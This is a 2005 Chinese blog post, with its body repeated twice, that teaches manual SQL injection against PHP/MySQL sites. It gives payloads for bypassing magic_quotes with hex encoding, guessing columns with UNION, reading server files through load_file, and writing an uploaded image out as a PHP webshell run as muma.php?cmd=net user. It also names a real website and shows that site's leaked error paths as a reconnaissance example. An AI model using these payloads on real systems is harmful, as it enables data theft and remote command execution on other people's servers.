简述PHP注入的基本技巧
作者:at1s 日期:2005-02-23
PHP注入不象ASP那样有NBSI之类的超强工具,CASI毕竟功能太单一,其实知道他的注入原理后,完全可以实现手工注入。
在php.ini中有一个配置选项magic_quotes_gpc=on/off当=ON时会把提交变量中的单引号,双引号,反斜线,空白字符前面加上反斜线变成转义字符,遇到这种情况,我们可以把提交语句用ASC或0X进行编码旧可以饶过了。有几个比较关键的语句,一是UNION,通过并运算查询当前表中字段,用与将多个SELECT语句的结果联合到一个结果集中,可以用它猜字段,EG:id=1234 and 1=2 union select 1,2,3,4...。猜出后会在相应地方出现数字对应。load_file()用来返回文件里的内容,注意的是要写明全文件路径和名称,EG:load_file('c:/boot.ini'),可以嵌入到UNION查询中,在相应的数字的位置上就会显示出你要得系统文件了。into outfile用来把表中内容写入文件,假设我们可以上传图片,上传后路径为:/upload/111.jpg,图片中的内容是一个很简单的系统变量,提交语句:id=1234 and 1=2 union select 1,2,load_file('d:/xxx/xxxx/down/upload/111.jpg'),4 into file'd:/xxx/xxxx/down/muma.php',接着我们去看http://www.xxx.com/down/muma.php?cmd=net user,就可以执行命令了,注意的是MYSQL5。0以下不支持AND连接两个表查询。
有些站测试提交单引号就可以暴露很多信息是因为在php.ini中选项display_errors=on,会返回错误信息,象提交:http://www.shyau.com.tw/article.php?sid=140',结果呢?:Warning: Supplied argument is not a valid MySQL result resource in d:\foxserv\www\shyau\includes\sql_layer.php on line 230
Warning: Supplied argument is not a valid MySQL result resource in d:\foxserv\www\shyau\includes\sql_layer.php on line 230路径都出来了,晕。
有时当提交单引号不能返回错误信息时,可以增加查询负值或改变查询类型,例如:id=1234我们可以提交:id=111111111111111111.....(因为边界检查不彻底)或id=ssss也有可能暴出敏感信息。
mysql也有内置变量,version()返回当前数据库版本信息,database()返回当前数据库名,user(),system_user(),session_user()返回MYSQL用户名,可以帮助我们获得更多信息。这些都是很基础的东西,更多的技术还要大家自己发现,文章含盖并不全,有些资料细节往大家查询PHP中文手册。~~
在php.ini中有一个配置选项magic_quotes_gpc=on/off当=ON时会把提交变量中的单引号,双引号,反斜线,空白字符前面加上反斜线变成转义字符,遇到这种情况,我们可以把提交语句用ASC或0X进行编码旧可以饶过了。有几个比较关键的语句,一是UNION,通过并运算查询当前表中字段,用与将多个SELECT语句的结果联合到一个结果集中,可以用它猜字段,EG:id=1234 and 1=2 union select 1,2,3,4...。猜出后会在相应地方出现数字对应。load_file()用来返回文件里的内容,注意的是要写明全文件路径和名称,EG:load_file('c:/boot.ini'),可以嵌入到UNION查询中,在相应的数字的位置上就会显示出你要得系统文件了。into outfile用来把表中内容写入文件,假设我们可以上传图片,上传后路径为:/upload/111.jpg,图片中的内容是一个很简单的系统变量,提交语句:id=1234 and 1=2 union select 1,2,load_file('d:/xxx/xxxx/down/upload/111.jpg'),4 into file'd:/xxx/xxxx/down/muma.php',接着我们去看http://www.xxx.com/down/muma.php?cmd=net user,就可以执行命令了,注意的是MYSQL5。0以下不支持AND连接两个表查询。
有些站测试提交单引号就可以暴露很多信息是因为在php.ini中选项display_errors=on,会返回错误信息,象提交:http://www.shyau.com.tw/article.php?sid=140',结果呢?:Warning: Supplied argument is not a valid MySQL result resource in d:\foxserv\www\shyau\includes\sql_layer.php on line 230
Warning: Supplied argument is not a valid MySQL result resource in d:\foxserv\www\shyau\includes\sql_layer.php on line 230路径都出来了,晕。
有时当提交单引号不能返回错误信息时,可以增加查询负值或改变查询类型,例如:id=1234我们可以提交:id=111111111111111111.....(因为边界检查不彻底)或id=ssss也有可能暴出敏感信息。
mysql也有内置变量,version()返回当前数据库版本信息,database()返回当前数据库名,user(),system_user(),session_user()返回MYSQL用户名,可以帮助我们获得更多信息。这些都是很基础的东西,更多的技术还要大家自己发现,文章含盖并不全,有些资料细节往大家查询PHP中文手册。~~
评论: 0 | 引用: 0 | 查看次数: 3961
发表评论